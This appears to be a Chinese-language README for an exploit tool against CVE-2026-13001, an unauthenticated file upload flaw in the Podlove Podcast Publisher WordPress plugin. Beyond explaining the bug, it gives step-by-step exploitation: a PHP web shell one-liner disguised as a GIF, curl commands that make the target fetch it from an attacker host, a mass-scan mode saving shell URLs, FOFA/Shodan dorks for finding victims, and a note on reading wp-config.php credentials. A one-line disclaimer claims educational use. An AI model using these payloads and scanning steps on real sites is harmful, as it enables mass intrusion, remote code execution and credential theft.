
CVE-2026-13001 的漏洞利用程序,针对 Podlove Podcast Publisher WordPress 插件中的未认证任意文件上传漏洞,可通过上传 PHP polyglot 文件实现远程代码执行。包含单目标与批量扫描模式。
CVE-2026-13001 是 Podlove Podcast Publisher WordPress 插件版本 ≤ 4.5.1 中的一个严重级别(CVSS 9.8)未认证任意文件上传漏洞。
该漏洞利用了内部两个以不同方式解析文件扩展名的函数之间的不匹配:
is_image() 使用 basename(),它包含查询字符串 → URL 显示为 ✅(有效图片)shell.php?.gif.gifextract_file_extension() 仅使用 parse_url() 的路径部分 → 返回 .php → 文件以 .php 扩展名保存 🚨攻击者上传 GIF89a PHP 多语言文件(有效 GIF 头 + 嵌入的 PHP),这些文件通过图片验证,但在访问时以 PHP 执行。
| 版本 | 状态 |
|---|---|
| ≤ 4.5.1 | 存在漏洞 |
| 4.5.2+ | 已修复 |
发现者: Talal Nasraddeen 通过 Wordfence(2026 年 7 月 14 日)
// is_image() — 使用包含查询字符串的 basename()
function is_image($url) {
$ext = strtolower(pathinfo(basename($url), PATHINFO_EXTENSION));
return in_array($ext, ['jpg','jpeg','png','gif','webp']);
}
// URL: https://attacker.com/shell.php?.gif
// basename() → "shell.php?.gif" → ext = "gif" ✅ 已绕过
// extract_file_extension() — 仅使用 parse_url() 的路径部分
function extract_file_extension($url) {
$path = parse_url($url, PHP_URL_PATH);
return pathinfo($path, PATHINFO_EXTENSION);
}
// URL: https://attacker.com/shell.php?.gif
// parse_url() → "/shell.php" → ext = "php" 🚨 保存为 .php
1. 攻击者在 attacker.com/shell.php?.gif 托管 GIF89a PHP 多语言文件
2. GET /?podlove_image_cache_url={hex(url)}&podlove_file_name=test
3. is_image() 验证 .gif 扩展名 → 通过
4. 插件下载文件 → 以 test_original.php 保存在 cache/ 中
5. 攻击者访问 /wp-content/cache/podlove/{hash}/test_original.php
6. PHP 执行 → 远程代码执行
git clone https://github.com/shinthink/CVE-2026-13001.git
cd CVE-2026-13001
pip install -r requirements.txt
# 单个目标
python cve_2026_13001.py -t target.com
# 批量扫描
python cve_2026_13001.py -f targets.txt -o shells.txt
# 自定义载荷 URL
python cve_2026_13001.py -t target.com --payload-url https://yourserver/shell.php?.gif
# 调试模式,保留 shell
python cve_2026_13001.py -t target.com --debug --no-cleanup
-t, --target 单个目标(域名或 IP)
-f, --file 目标列表,每行一个
-o, --output 将 RCE URL 保存到文件
--payload-url 托管 PHP 多语言文件的 URL(默认:GitHub raw)
--threads 并发工作线程数(默认:30)
--no-cleanup 在目标上保留 shell
--debug 显示每个 HTTP 请求
-v, --verbose 详细输出
$ python cve_2026_13001.py -t podcast-site.com
Podlove Podcast Publisher | CVE-2026-13001 | CVSS 9.8
Host : podcast-site.com
Podlove : YES v4.5.1
Upload : YES
RCE : YES
Shell : https://podcast-site.com/wp-content/cache/podlove/a1/b2.../think_xxx_original.php?t=TOKEN
Output : uid=33(www-data) gid=33(www-data)
Time : 4.2s
Targets: 500 | Threads: 30
Payload URL: https://raw.githubusercontent.com/shinthink/payloads/main/shell.gif
[RCE] podcast-vuln-01.com https://podcast-vuln-01.com/wp-content/cache/podlove/...
[150/500] 30% | Det:42 RCE:8
步骤 1 — 托管多语言 shell
// shell.php — 保存并在你的服务器上托管
GIF89a<?php system($_GET['c']); ?>
步骤 2 — 对带绕过参数的 URL 进行十六进制编码
# URL: https://attacker.com/shell.php?.gif
echo -n "https://attacker.com/shell.php?.gif" | xxd -p | tr -d '\n'
步骤 3 — 触发缓存下载
curl 'https://target.com/?podlove_image_cache_url=68747470733a2f2f...&podlove_file_name=shell&podlove_width=100&podlove_height=100&podlove_crop=0'
步骤 4 — 访问 shell
# 路径: wp-content/cache/podlove/{h[:2]}/{h[2:]}/{name}_original.php
curl 'https://target.com/wp-content/cache/podlove/a1/b2c3.../shell_original.php?c=id'
FOFA: body="podlove-podcasting-plugin-for-wordpress"
Shodan: http.html:"podlove"
成功利用可导致以 Web 服务器用户身份执行远程代码:
wp-config.php → 数据库凭据仅供教育和授权测试使用。
作者对滥用行为不承担任何责任。
| 资源 | 链接 |
|---|---|
| Wordfence 公告 | wordfence.com |
| Podlove 安全发布 | podlove.org |
| NVD 条目 | CVE-2026-13001 |
| 研究人员 | Talal Nasraddeen |
与 Podlove 无关联。